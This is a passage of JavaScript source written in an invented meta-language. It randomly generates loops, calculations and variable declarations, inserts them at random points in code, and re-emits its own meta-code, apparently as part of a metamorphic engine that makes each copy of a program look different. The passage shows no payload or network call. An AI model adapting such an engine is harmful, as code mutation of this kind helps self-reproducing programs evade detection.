  1785.                 MetaLevelLanguage+='__(CBC0300|CBC0100)c+s(°+CBCRString+°,#x1sDeriveRestrString1x#)';
  1786.                 MetaLevelLanguage+='__(CBC0400|CBC0300)c+s(°+CBCRString+°,#x1#"while("#1x#)';
  1787.                 MetaLevelLanguage+='__(CBC0500|CBC0400)c+s(°+CBCRString+°,#x1°+CBCwhRLogic+°1x#)';
  1788.                 MetaLevelLanguage+='__(CBC0600|CBC0500)c+s(°+CBCRString+°,#x1#")"#1x#)';                            
  1789.                 MetaLevelLanguage+='__(CBC0700|CBC0600)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1790.                 MetaLevelLanguage+='__(CBC0800|CBC0700)c+s(°+CBCRString+°,#x1fGiveMeString(#n123n#)1x#)';
  1791.                 MetaLevelLanguage+='__(CBC0900|CBC0800)c+s(°+CBCRString+°,#x1fCreateBlockOfCode(#x2°+CBCwhExecuteCode+°2x#)1x#)';                                              
  1792.                 MetaLevelLanguage+='__(CBC1000|CBC0900)if(#x1#O1°+CBCwhaction+°#.length1O#1x#!#x2#n0n#2x#?>)001';                
  1793.                     MetaLevelLanguage+='__(CBC0100|)c+s(°+CBCRString+°,#x1fCreateExecution(#x2°+CBCwhaction+°2x#,#x3#n1n#3x#)1x#)';
  1794.                 MetaLevelLanguage+='__(CBC1100|)000';
  1795.                 MetaLevelLanguage+='__(CBC1200|CBC1000)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';          
  1796.                 MetaLevelLanguage+='__(CBC1300|CBC1200)c+s(°+CBCRString+°,#x1fGiveMeString(#n125n#)1x#)';  
  1797.             MetaLevelLanguage+='__(CBC1100|)000';
  1798.             MetaLevelLanguage+='__(CBC1200|CBC0100,CBC0300,CBC0500,CBC0600,CBC0900)if(#x1°+CBCwhRNum2+°1x#!#x2#n1n#2x#?==)016';
  1799.                 MetaLevelLanguage+='__(CBC0100|)ysNoDerivation1=#x1#n1n#1x#';
  1800.                 MetaLevelLanguage+='__(CBC0200|CBC0100)c+s(°+CBCRString+°,#x1sDeriveRestrString1x#)';
  1801.                 MetaLevelLanguage+='__(CBC0300|CBC0200)c+s(°+CBCRString+°,#x1#"fo"#1x#)';
  1802.                 MetaLevelLanguage+='__(CBC0400|CBC0300)c+s(°+CBCRString+°,#x1#"r("#1x#)';                
  1803.                 MetaLevelLanguage+='__(CBC0500|CBC0400)c+s(°+CBCRString+°,#x1°+CBCwhinitial+°1x#)';
  1804.                 MetaLevelLanguage+='__(CBC0600|CBC0500)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';
  1805.                 MetaLevelLanguage+='__(CBC0700|CBC0600)c+s(°+CBCRString+°,#x1°+CBCwhRLogic+°1x#)';
  1806.                 MetaLevelLanguage+='__(CBC0800|CBC0700)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';
  1807.                 MetaLevelLanguage+='__(CBC0900|CBC0800)c+s(°+CBCRString+°,#x1°+CBCwhaction+°1x#)';  
  1808.                 MetaLevelLanguage+='__(CBC1000|CBC0900)c+s(°+CBCRString+°,#x1fGiveMeString(#n41n#)1x#)';                                                                                                                                
  1809.                 MetaLevelLanguage+='__(CBC1100|CBC1000)ysNoDerivation1=#x1#n0n#1x#';
  1810.                 MetaLevelLanguage+='__(CBC1200|CBC1100)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1811.                 MetaLevelLanguage+='__(CBC1300|CBC1200)c+s(°+CBCRString+°,#x1fGiveMeString(#n123n#)1x#)';
  1812.                 MetaLevelLanguage+='__(CBC1400|CBC1300)c+s(°+CBCRString+°,#x1fCreateBlockOfCode(°+CBCwhExecuteCode+°)1x#)';  
  1813.                 MetaLevelLanguage+='__(CBC1500|CBC1400)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';          
  1814.                 MetaLevelLanguage+='__(CBC1600|CBC1500)c+s(°+CBCRString+°,#x1fGiveMeString(#n125n#)1x#)';  
  1815.             MetaLevelLanguage+='__(CBC1300|)000';
  1816.             MetaLevelLanguage+='__(CBC1400|CBC1000,CBC1200)c+n(°+CBCCodeLineIndex+°,#x1°+CBCwhNumOfElementsCode+°1x#)';
  1817.             MetaLevelLanguage+='__(CBC1500|CBC1000,CBC1200)c+1(°+CBCCodeLineIndex+°)';            
  1818.         MetaLevelLanguage+='__(CBCB080|)000';                  
  1819.         MetaLevelLanguage+='__(CBCB081|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n1n#)1O#1x#!#x2#"c"#2x#?==)042';        
  1820.             MetaLevelLanguage+='__(CBC0100|)var CBCcCalcCode=#x1#""#1x#';
  1821.             MetaLevelLanguage+='__(CBC0200|CBC0100)if(#x1#O1°+CBCSingleElement+°#.substring(#n2n#,#n3n#)1O#1x#!#x2#"1"#2x#?==)007';            
  1822.                 MetaLevelLanguage+='__(CBC0100|)var CBCVariable1=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#"("#)+#n1n#2x#,#x3°+CBCSingleElement+°.lastIndexOf(#")"#)3x#)1O#1x#';
  1823.                 MetaLevelLanguage+='__(CBC0200|)var CBCVariable2=#x1#n1n#1x#';
  1824.                 MetaLevelLanguage+='__(CBC0300|CBC0100)if(#x1fGiveRandomNumber(#n3n#)1x#!#n0n#?==)003';
  1825.                     MetaLevelLanguage+='__(CBC0100|)y°+CBCcCalcCode+°=#x1°+CBCVariable1+°1x#';
  1826.                     MetaLevelLanguage+='__(CBC0200|CBC0100)c+s(°+CBCcCalcCode+°,#x1fGiveMeString(#n64n#)1x#)';
  1827.                     MetaLevelLanguage+='__(CBC0300|CBC0200)c+s(°+CBCcCalcCode+°,#x1fGiveMeString(#n64n#)1x#)';                                        
  1828.                 MetaLevelLanguage+='__(CBC0400|)000';
  1829.             MetaLevelLanguage+='__(CBC0300|)002';
  1830.                 MetaLevelLanguage+='__(CBC0100|)var CBCVariable1=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#"("#)+#n1n#2x#,#x3°+CBCSingleElement+°.indexOf(#","#)3x#)1O#1x#';
  1831.                 MetaLevelLanguage+='__(CBC0200|)var CBCVariable2=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#","#)+#n1n#2x#,#x3°+CBCSingleElement+°.lastIndexOf(#")"#)3x#)1O#1x#';                
  1832.             MetaLevelLanguage+='__(CBC0400|)ysDeriveRestrString=#x1#""#1x#';            
  1833.             MetaLevelLanguage+='__(CBC0500|CBC0200,CBC0400)if(#x1°+CBCcCalcCode+°1x#!#x2#""#2x#?==)019';
  1834.                 MetaLevelLanguage+='__(CBC0100|)var CBCcWhichCalc=#x1fGiveRandomNumber(#n2n#)1x#';
  1835.                 MetaLevelLanguage+='__(CBC0200|CBC0100)if(#x1°+CBCcWhichCalc+°1x#!#x2#n0n#2x#?==)003';
  1836.                     MetaLevelLanguage+='__(CBC0100|)c+s(°+CBCcCalcCode+°,#x1°+CBCVariable1+°1x#)';
  1837.                     MetaLevelLanguage+='__(CBC0200|CBC0100)c+s(°+CBCcCalcCode+°,#x1fGiveMeString(#n64n#)+fGiveMeString(#n61n#)1x#)';                              
  1838.                     MetaLevelLanguage+='__(CBC0300|CBC0200)c+s(°+CBCcCalcCode+°,#x1fDeriveRestrictVC(#x2°+CBCVariable2+°2x#,#x3#n20n#3x#)1x#)';                                          
  1839.                 MetaLevelLanguage+='__(CBC0300|)013';
  1840.                     MetaLevelLanguage+='__(CBC0100|)var CBCSomeLog=#x1(#x2#O1°+CBCSingleElement+°#.substring(2,3)1O#==#"n"#2x#&&#x3fGiveRandomNumber(#n2n#)3x#)1x#';
  1841.                     MetaLevelLanguage+='__(CBC0200|CBC0100)if(#x1°+CBCSomeLog+°1x#!#x2#n0n#2x#?!=)005';
  1842.                         MetaLevelLanguage+='__(CBC0100|)c+s(°+CBCcCalcCode+°,#x1°+CBCVariable1+°1x#)';
  1843.                         MetaLevelLanguage+='__(CBC0200|CBC0100)c+s(°+CBCcCalcCode+°,#x1#"="#1x#)';
  1844.                         MetaLevelLanguage+='__(CBC0300|CBC0200)c+s(°+CBCcCalcCode+°,#x1fDeriveRestrictVC(#x2°+CBCVariable2+°2x#,#x3#n30n#3x#)1x#)';
  1845.                         MetaLevelLanguage+='__(CBC0400|CBC0300)c+s(°+CBCcCalcCode+°,#x1fGiveMeString(#x2#n64n#2x#)1x#)';
  1846.                         MetaLevelLanguage+='__(CBC0500|CBC0400)c+s(°+CBCcCalcCode+°,#x1fDeriveRestrictVC(#x2°+CBCVariable1+°2x#,#x3#n30n#3x#)1x#)';                      
  1847.                     MetaLevelLanguage+='__(CBC0300|)005';
  1848.                         MetaLevelLanguage+='__(CBC0100|)c+s(°+CBCcCalcCode+°,#x1°+CBCVariable1+°1x#)';
  1849.                         MetaLevelLanguage+='__(CBC0200|CBC0100)c+s(°+CBCcCalcCode+°,#x1#"="#1x#)';  
  1850.                         MetaLevelLanguage+='__(CBC0300|CBC0200)c+s(°+CBCcCalcCode+°,#x1fDeriveRestrictVC(#x2°+CBCVariable1+°2x#,#x3#n30n#3x#)1x#)';  
  1851.                         MetaLevelLanguage+='__(CBC0400|CBC0300)c+s(°+CBCcCalcCode+°,#x1fGiveMeString(#x2#n64n#2x#)1x#)';  
  1852.                         MetaLevelLanguage+='__(CBC0500|CBC0400)c+s(°+CBCcCalcCode+°,#x1fDeriveRestrictVC(#x2°+CBCVariable2+°2x#,#x3#n30n#3x#)1x#)';                                                                                                                                            
  1853.             MetaLevelLanguage+='__(CBC0600|)000';            
  1854.             MetaLevelLanguage+='__(CBC0700|)var PMOperator=#x1#O1°+CBCSingleElement+°#.substring(#n1n#,#n2n#)1O#1x#';
  1855.             MetaLevelLanguage+='__(CBC0800|CBC0500,CBC0700)while($#x1#O1°+CBCcCalcCode+°#.indexOf(#x2fGiveMeString(#n64n#)2x#)1O#1x#!#x3#n-1n#3x#?!=@)001';
  1856.                 MetaLevelLanguage+='__(CBC0100|)y°+CBCcCalcCode+°=#x1#O1°+CBCcCalcCode+°#.replace(#x2fGiveMeString(#n64n#)2x#,#x3°+PMOperator+°3x#)1O#1x#';    
  1857.             MetaLevelLanguage+='__(CBC0900|CBC0800)c+s(°+CBCRString+°,#x1sDeriveRestrString1x#)';
  1858.             MetaLevelLanguage+='__(CBC1000|CBC0900)c+s(°+CBCRString+°,#x1°+CBCcCalcCode+°1x#)';
  1859.             MetaLevelLanguage+='__(CBC1100|CBC1000)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1860.             MetaLevelLanguage+='__(CBC1200|CBC1100)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';                        
  1861.             MetaLevelLanguage+='__(CBC1500|CBC1200)c+1(°+CBCCodeLineIndex+°)';
  1862.         MetaLevelLanguage+='__(CBCB082|)000';                
  1863.           MetaLevelLanguage+='__(CBCB100|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n1n#)1O#1x#!#x2#"x"#2x#?==)005';    
  1864.             MetaLevelLanguage+='__(CBCC100|)var xxExecuteableCode=#x1#O1°+CBCSingleElement+°#.substring(#n1n#)1O#1x#';
  1865.             MetaLevelLanguage+='__(CBCC200|CBCC100)c+s(°+CBCRString+°,#x1fCreateExecution(#x2°+xxExecuteableCode+°2x#)1x#)';
  1866.             MetaLevelLanguage+='__(CBCC300|CBCC200)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1867.             MetaLevelLanguage+='__(CBCC400|CBCC300)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';                                              
  1868.             MetaLevelLanguage+='__(CBCC700|CBCC400)c+1(°+CBCCodeLineIndex+°)';      
  1869.         MetaLevelLanguage+='__(CBCB110|)000';                      
  1870.         MetaLevelLanguage+='__(CBCB200|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n1n#)1O#1x#!"y"?==)005';    
  1871.             MetaLevelLanguage+='__(CBCC100|)var yyExecuteableCode=#x1#O1°+CBCSingleElement+°#.substring(#n1n#)1O#1x#';
  1872.             MetaLevelLanguage+='__(CBCC200|CBCC100)c+s(°+CBCRString+°,#x1fCreateExecution(°+yyExecuteableCode+°,1)1x#)';
  1873.             MetaLevelLanguage+='__(CBCC300|CBCC200)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1874.             MetaLevelLanguage+='__(CBCC400|CBCC300)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';                                              
  1875.             MetaLevelLanguage+='__(CBCC700|CBCC400)c+1(°+CBCCodeLineIndex+°)';  
  1876.         MetaLevelLanguage+='__(CBCB210|)000';                        
  1877.         MetaLevelLanguage+='__(CBCB300|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n3n#)1O#1x#!#x2#"def"#2x#?==)004';    
  1878.             MetaLevelLanguage+='__(CBCC200|)c+s(°+CBCRString+°,#x1fCreateExecution(#x2#O1°+CBCSingleElement+°#.substring(4)1O#2x#,#x3#n0n#3x#)1x#)';
  1879.             MetaLevelLanguage+='__(CBCC300|CBCC200)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1880.             MetaLevelLanguage+='__(CBCC400|CBCC300)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';                                          
  1881.             MetaLevelLanguage+='__(CBCC700|CBCC400)c+1(°+CBCCodeLineIndex+°)';      
  1882.         MetaLevelLanguage+='__(CBCB310|)000';  
  1883.         MetaLevelLanguage+='__(CBCB400|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n4n#)1O#1x#!#x2#"var "#2x#?==)004';    
  1884.             MetaLevelLanguage+='__(CBCC200|)c+s(°+CBCRString+°,#x1fCreateExecution(#x2°+CBCSingleElement+°2x#,#n1n#)1x#)';
  1885.             MetaLevelLanguage+='__(CBCC300|CBCC200)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1886.             MetaLevelLanguage+='__(CBCC400|CBCC300)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';                                            
  1887.             MetaLevelLanguage+='__(CBCC700|CBCC400)c+1(°+CBCCodeLineIndex+°)';  
  1888.         MetaLevelLanguage+='__(CBCB410|)000';
  1889.         MetaLevelLanguage+='__(CBCB620|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n7n#)1O#1x#!#x2#"victory"#2x#?==)011';
  1890.             MetaLevelLanguage+='__(CBCC100|)if(#x1fGiveRandomNumber(#n2n#)1x#!#n0n#?>)002';
  1891.                 MetaLevelLanguage+='__(CBCD100|)c+s(°+CBCRString+°,#x1#"va"#1x#)';
  1892.                 MetaLevelLanguage+='__(CBCD200|CBCD100)c+s(°+CBCRString+°,#x1#"r "#1x#)';                              
  1893.             MetaLevelLanguage+='__(CBCC101|)000';
  1894.             MetaLevelLanguage+='__(CBCC111|)xDoIWriteMetaCode=#n1n#';                
  1895.             MetaLevelLanguage+='__(CBCC200|CBCC100)c+s(°+CBCRString+°,#x1#O1°+CBCSingleElement+°.substring(#n8n#)1O#1x#)';                                              
  1896.             MetaLevelLanguage+='__(CBCC250|CBCC111,CBCC200)c+s(°+CBCRString+°,#x1fCreateString(#x2°+OriginalMetaCode+°2x#)1x#)';    
  1897.             MetaLevelLanguage+='__(CBCC300|CBCC250)c+s(°+CBCRString+°,#x1fGiveMeString(#n64n#)1x#)';
  1898.             MetaLevelLanguage+='__(CBCC400|CBCC300)c+s(°+CBCRString+°,#x1fGiveMeString(#n59n#)1x#)';
  1899.             MetaLevelLanguage+='__(CBCC700|CBCC400)c+1(°+CBCCodeLineIndex+°)';    
  1900.             MetaLevelLanguage+='__(CBCC710|CBCC250)xDoIWriteMetaCode=#n0n#';                                        
  1901.         MetaLevelLanguage+='__(CBCB630|)000';          
  1902.         MetaLevelLanguage+='__(CBCB500|CBCA500)if(#x1#O1°+CBCSingleElement+°#.substring(#n0n#,#n9n#)1O#1x#!#x2#"function "#2x#?==)009';    
  1903.             MetaLevelLanguage+='__(CBCC100|)var CBCfunctionname=#x1#O1°+CBCSingleElement+°#.substring(#n9n#,#x2°+CBCSingleElement+°.indexOf(#x3fGiveMeString(#n40n#)3x#)2x#)1O#1x#';
  1904.             MetaLevelLanguage+='__(CBCC200|)var CBCfunctionarguments=#x1#O1°+CBCSingleElement+°#.substring(#x2°+CBCSingleElement+°.indexOf(#x3fGiveMeString(#n40n#)3x#)2x#,#x4#x5°+CBCSingleElement+°.indexOf(#x6fGiveMeString(#n41n#)6x#)5x#+#n1n#4x#)1O#1x#';
  1905.             MetaLevelLanguage+='__(CBCC300|)var CBCNumOfFFElementsCode=#x1parseInt(#x2#O1°+CBCSingleElement+°#.substring(#x3°+CBCSingleElement+°.indexOf(")")+#n1n#3x#)1O#2x#,#x4#n10n#4x#)1x#';
  1906.             MetaLevelLanguage+='__(CBCC400|CBCC300)var CBCExecuteCode=#x1#O1°+argCodeBlockArray+°#.slice(#x2°+CBCCodeLineIndex+° +#n1n#2x#,#x3#x4°+CBCCodeLineIndex+°4x# + #x5°+CBCNumOfFFElementsCode+°5x# +#n1n#3x#)1O#1x#';
  1907.             MetaLevelLanguage+='__(CBCC500|CBCC400)ysFunctionDefs.push(#x1fCreateBlockOfCode(#x2°+CBCExecuteCode+°2x#)1x#)';
  1908.             MetaLevelLanguage+='__(CBCC600|CBCC200,CBCC500)ysFunctionArgs.push(#x1°+CBCfunctionarguments+°1x#)';
  1909.             MetaLevelLanguage+='__(CBCC700|CBCC100,CBCC500)ysFunctionNames.push(#x1°+CBCfunctionname+°1x#)';          
  1910.             MetaLevelLanguage+='__(CBCC800|CBCC400)c+n(°+CBCCodeLineIndex+°,#x1°+CBCNumOfFFElementsCode+°1x#)';
  1911.             MetaLevelLanguage+='__(CBCC900|CBCC400)c+1(°+CBCCodeLineIndex+°)';
  1912.         MetaLevelLanguage+='__(CBCB510|)000';
  1913.     MetaLevelLanguage+='__(CBC0700|CBC0600)c-1(sHierarchyOfCalls)';
  1914.     MetaLevelLanguage+='__(CBC0800|CBC0600)yCBCLocalVarName.reverse()';
  1915.     MetaLevelLanguage+='__(CBC0900|CBC0600)yCBCLocalVarDefs.reverse()';
  1916.     MetaLevelLanguage+='__(CBC1000|CBC0800,CBC0900)while($#x1°+CBCLocalVarName+°.length1x#!#x2#n0n#2x#?>@)007'
  1917.         MetaLevelLanguage+='__(CBC0100|)var CBCFirstPos=#x1#O1°+CBCRString+°#.indexOf(#x2°+CBCLocalVarName+°[#n0n#]2x#)1O#1x#';
  1918.         MetaLevelLanguage+='__(CBC0200|CBC0100)var CBCPotentialPos=#x1fFindPositionForCode(#x2°+CBCRString+°2x#,#x3°+CBCFirstPos+°3x#)1x#';
  1919.         MetaLevelLanguage+='__(CBC0300|)var CodeVarIntegrate=#x1#x2#"var "#2x#+ #x3°+CBCLocalVarName+°[#n0n#]3x# +#x4#"="#4x#+ #x5°+CBCLocalVarDefs+°[#n0n#]5x#+#x6fGiveMeString(#n64n#)6x#+#x7fGiveMeString(#n59n#)7x#1x#';
  1920.         MetaLevelLanguage+='__(CBC0400|CBC0300)yCBCLocalVarName.splice(#n0n#,#n1n#)';
  1921.         MetaLevelLanguage+='__(CBC0500|CBC0300)yCBCLocalVarDefs.splice(#n0n#,#n1n#)';
  1922.         MetaLevelLanguage+='__(CBC0600|CBC0200)var NewVarPos=#x1°+CBCPotentialPos+°[#x2fGiveRandomNumber(#x3#O1°+CBCPotentialPos+°#.length1O#3x#)2x#]1x#';
  1923.         MetaLevelLanguage+='__(CBC0700|CBC0300,CBC0400,CBC0500,CBC0600)y°+CBCRString+°=#x1#x2#O1°+CBCRString+°#.substring(0,°+NewVarPos+°)1O#2x#+ #x3°+CodeVarIntegrate+°3x# + #x4°+CBCRString+°.substring(#x5°+NewVarPos+°5x#)4x#1x#';
  1924.     MetaLevelLanguage+='__(CBC1100|CBC0700,CBC1000)if(#x1sHierarchyOfCalls1x#!#x2#n0n#2x#?!=)004'
  1925.         MetaLevelLanguage+='__(CBC0100|)while($#x1#O1°+CBCRString+°#.indexOf(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n59n#)4x#2x#)1O#1x#!#x5#n-1n#5x#?!=@)001'
  1926.             MetaLevelLanguage+='__(CBCA100|)y°+CBCRString+°=#x1#O1°+CBCRString+°#.replace(#x2fGiveMeString(#n64n#)+fGiveMeString(#n59n#)2x#,fGiveMeString(#n59n#))1O#1x#'
  1927.         MetaLevelLanguage+='__(CBC0200|CBC0100)while($#x1#O1°+CBCRString+°#.indexOf(#x2fGiveMeString(#n64n#)+fGiveMeString(#n59n#)2x#)1O#1x#!#x3#n-1n#3x#?!=@)001';
  1928.             MetaLevelLanguage+='__(CBCA100|)y°+CBCRString+°=#x1#O1°+CBCRString+°#.replace(#x2fGiveMeString(#n64n#)2x#,#x3#""#3x#)1O#1x#'
  1929.     MetaLevelLanguage+='__(CBC1200|)000';            
  1930.     MetaLevelLanguage+='__(CBC1300|CBC1100)xreturn(#x1°+CBCRString+°1x#)';
  1931.    
  1932.  
  1933. MetaLevelLanguage+='__(2100|)function fCalculateFirstAppearance(CFAOriginalCode,CFAObjectName)011';
  1934.     MetaLevelLanguage+='__(CFA010|)var CFAObjectPlace=#x1#O1°+CFAOriginalCode+°#.indexOf(#x2°+CFAObjectName+°2x#)1O#1x#';
  1935.     MetaLevelLanguage+='__(CFA020|CFA010)if(#x1°+CFAObjectPlace+°1x#!#x2#n-1n#2x#?==)007';
  1936.         MetaLevelLanguage+='__(CFAx10|)var CFAGetFunctionN=#x1#n-1n#1x#';
  1937.         MetaLevelLanguage+='__(CFAx20|CFAx10)while(var CFAn=#n0n#$#x1°+CFAn+°1x#!#x2#O1sFunctionVariableNameArray#.length1O#2x#?<@°+CFAn+°=°+CFAn+° +#n1n#)004';
  1938.             MetaLevelLanguage+='__(CFAy10|)while(var CFAm=#n0n#$#x1°+CFAm+°1x#!#x2#O1sFunctionVariableNameArray[#x3°+CFAn+°3x#]#.length1O#2x#?<@°+CFAm+°=°+CFAm+° +#n1n#)003';
  1939.                 MetaLevelLanguage+='__(CFAz10|)if(#x1sFunctionVariableNameArray[#x2°+CFAn+°2x#][#x3°+CFAm+°3x#]1x#!#x4°+CFAObjectName+°4x#?==)001';
  1940.                     MetaLevelLanguage+='__(CFAw10|)y°+CFAGetFunctionN+°=#x1°+CFAn+°1x#';
  1941.                 MetaLevelLanguage+='__(CFAz20|)000';
  1942.         MetaLevelLanguage+='__(CFAx30|CFAx20)y°+CFAObjectPlace+°=#x1#O1°+CFAOriginalCode+°#.indexOf(#x2sFunctionVariableFctName[#x3°+CFAGetFunctionN+°3x#]2x#)1O#1x#';
  1943.     MetaLevelLanguage+='__(CFA030|)000';
  1944.     MetaLevelLanguage+='__(CFA040|CFA020)xreturn(#x1°+CFAObjectPlace+°1x#)';
  1945.  
  1946.  
  1947. MetaLevelLanguage+='__(2200|)function fFindPositionForCode(FPFOriginalCode,FPFPosTrace)028';
  1948.     MetaLevelLanguage+='__(FPF010|)var FPFVPosArray=#x1[]1x#';                    
  1949.     MetaLevelLanguage+='__(FPF020|)var FPFSKPlace=#x1#n0n#1x#';
  1950.     MetaLevelLanguage+='__(FPF030|FPF010,FPF020)while($#x1°+FPFSKPlace+°1x#!#x2#n-1n#2x#?!=@)023';
  1951.         MetaLevelLanguage+='__(FPFa010|)var FPFSKPlace=#x1#O1°+FPFOriginalCode+°#.lastIndexOf(#x2fGiveMeString(#n64n#)+fGiveMeString(#n59n#)2x#,#x3°+FPFPosTrace+°-#n1n#3x#)1O#1x#';
  1952.         MetaLevelLanguage+='__(FPFa020|)var FPFBraPlace=#x1#O1°+FPFOriginalCode+°#.lastIndexOf(#x2fGiveMeString(#n64n#)+fGiveMeString(#n123n#)2x#,#x3°+FPFPosTrace+°-#n1n#3x#)1O#1x#';
  1953.         MetaLevelLanguage+='__(FPFa030|)var FPFKetPlace=#x1#O1°+FPFOriginalCode+°#.lastIndexOf(#x2fGiveMeString(#n64n#)+fGiveMeString(#n125n#)2x#,#x3°+FPFPosTrace+°-#n1n#3x#)1O#1x#';
  1954.         MetaLevelLanguage+='__(FPFa040|FPFa010,FPFa020,FPFa030)y°+FPFPosTrace+°=#x1#O1Math#.max(#x2°+FPFSKPlace+°2x#,#x3°+FPFBraPlace+°3x#,#x4°+FPFKetPlace+°4x#)1O#1x#';
  1955.         MetaLevelLanguage+='__(FPFa050|FPFa040)if(#x1°+FPFPosTrace+°1x#!#x2°+FPFSKPlace+°2x#?==)003';
  1956.             MetaLevelLanguage+='__(FPFb010|)if(#x1°+FPFSKPlace+°1x#!#x2#n-1n#2x#?!=)001';
  1957.                 MetaLevelLanguage+='__(FPFc010|)y°+FPFVPosArray+°.push(#x2#x1°+FPFSKPlace+°1x# +#n2n#2x#)';
  1958.             MetaLevelLanguage+='__(FPFb020|)000';
  1959.         MetaLevelLanguage+='__(FPFa060|)000';
  1960.         MetaLevelLanguage+='__(FPFa070|FPFa050)if(#x1°+FPFPosTrace+°1x#!#x2°+FPFKetPlace+°2x#?==)012';
  1961.             MetaLevelLanguage+='__(FPFb010|)if(#x1°+FPFPosTrace+°1x#!#x2#n-1n#2x#?!=)010';
  1962.                 MetaLevelLanguage+='__(FPFc010|)var FPFFoundKet=#x1#n1n#1x#';
  1963.                 MetaLevelLanguage+='__(FPFc020|FPFc010)while($#x1°+FPFFoundKet+°1x#!#x2#n0n#2x#?>@)008';
  1964.                     MetaLevelLanguage+='__(FPFd010|)y°+FPFBraPlace+°=#x1#O1°+FPFOriginalCode+°#.lastIndexOf(#x2fGiveMeString(#n64n#)+fGiveMeString(#n123n#)2x#,#x3°+FPFPosTrace+°-#n1n#3x#)1O#1x#';
  1965.                     MetaLevelLanguage+='__(FPFd020|)y°+FPFKetPlace+°=#x1#O1°+FPFOriginalCode+°#.lastIndexOf(#x2fGiveMeString(#n64n#)+fGiveMeString(#n125n#)2x#,#x3°+FPFPosTrace+°-#n1n#3x#)1O#1x#';
  1966.                     MetaLevelLanguage+='__(FPFd030|FPFd010,FPFd020)if(#x1°+FPFBraPlace+°1x#!#x2°+FPFKetPlace+°2x#?>)002';
  1967.                         MetaLevelLanguage+='__(FPFe010|)c-1(°+FPFFoundKet+°)';
  1968.                         MetaLevelLanguage+='__(FPFe020|)y°+FPFPosTrace+°=#x1°+FPFBraPlace+°1x#';
  1969.                     MetaLevelLanguage+='__(FPFd030|)002';
  1970.                         MetaLevelLanguage+='__(FPFe010|)c+1(°+FPFFoundKet+°)';
  1971.                         MetaLevelLanguage+='__(FPFe020|)y°+FPFPosTrace+°=#x1°+FPFKetPlace+°1x#';
  1972.             MetaLevelLanguage+='__(FPFb020|)000';  
  1973.         MetaLevelLanguage+='__(FPFa080|)000';                                  
  1974.     MetaLevelLanguage+='__(FPF040|FPF030)y°+FPFVPosArray+°.push(#x1#n0n#1x#)';
  1975.     MetaLevelLanguage+='__(FPF050|FPF040)xreturn(#x1°+FPFVPosArray+°1x#)';
  1976.                
  1977.            
  1978.  
  1979. MetaLevelLanguage+='__(2300|)function fCreateVarsAndFuncts(CVFOriginalCode)058';
  1980.     MetaLevelLanguage+='__(CVF0000|)var CVFTmpVarNames=#x1sVarNames.slice()1x#';
  1981.     MetaLevelLanguage+='__(CVF0100|CVF0010,CVF0000)while($#x1#O1sVarDefs#.length1O#1x#!#x2#n0n#2x#?>@)007';
  1982.         MetaLevelLanguage+='__(CVFa000|)var CVFNextPlace=#x1fCalculateFirstAppearance(#x2°+CVFOriginalCode+°2x#,#x3sVarNames[#n0n#]3x#)1x#';
  1983.         MetaLevelLanguage+='__(CVFa010|)var CVFCToIntegrate=#x1#x2sVarNames[#n0n#]2x#+#x3"="3x#+#x4sVarDefs[#n0n#]4x#+#x5fGiveMeString(#n64n#)5x#+#x6fGiveMeString(#n59n#)6x#1x#';
  1984.         MetaLevelLanguage+='__(CVFa020|CVFa010)ysVarDefs.splice(#n0n#,#n1n#)';
  1985.         MetaLevelLanguage+='__(CVFa030|CVFa000,CVFa010)ysVarNames.splice(#n0n#,#n1n#)';
  1986.         MetaLevelLanguage+='__(CVFa040|CVFa000)var CVFVariablePosArray=#x1fFindPositionForCode(#x2°+CVFOriginalCode+°2x#,#x3°+CVFNextPlace+°3x#)1x#';
  1987.         MetaLevelLanguage+='__(CVFa050|CVFa040)var CVFNewPos=#x1°+CVFVariablePosArray+°[#x2fGiveRandomNumber(#x3#O1°+CVFVariablePosArray+°#.length1O#3x#)2x#]1x#';
  1988.         MetaLevelLanguage+='__(CVFa060|CVFa010,CVFa050)y°+CVFOriginalCode+°=#x1#O1°+CVFOriginalCode+°#.substring(#n0n#,#x2°+CVFNewPos+°2x#)1O#+ #x3°+CVFCToIntegrate+°3x# + #x4#O2°+CVFOriginalCode+°#.substring(#x5°+CVFNewPos+°5x#)2O#4x#1x#';      
  1989.     MetaLevelLanguage+='__(CVF0200|CVF0000)var CVFNumberOfArrays=#x1fGiveRandomNumber(#x2#O1°+CVFTmpVarNames+°#.length1O#/#n10n#2x#)1x#';
  1990.     MetaLevelLanguage+='__(CVF0300|CVF0210,CVF0100,CVF0200)while(var CVFindexk=#n0n#$#x1°+CVFindexk+°1x#!#x2°+CVFNumberOfArrays+°2x#?<@°+CVFindexk+°=°+CVFindexk+° +#n1n#)042';
  1991.         MetaLevelLanguage+='__(CVFa010|)var CVFRandNameArr=#x1fGiveRandomString()1x#';
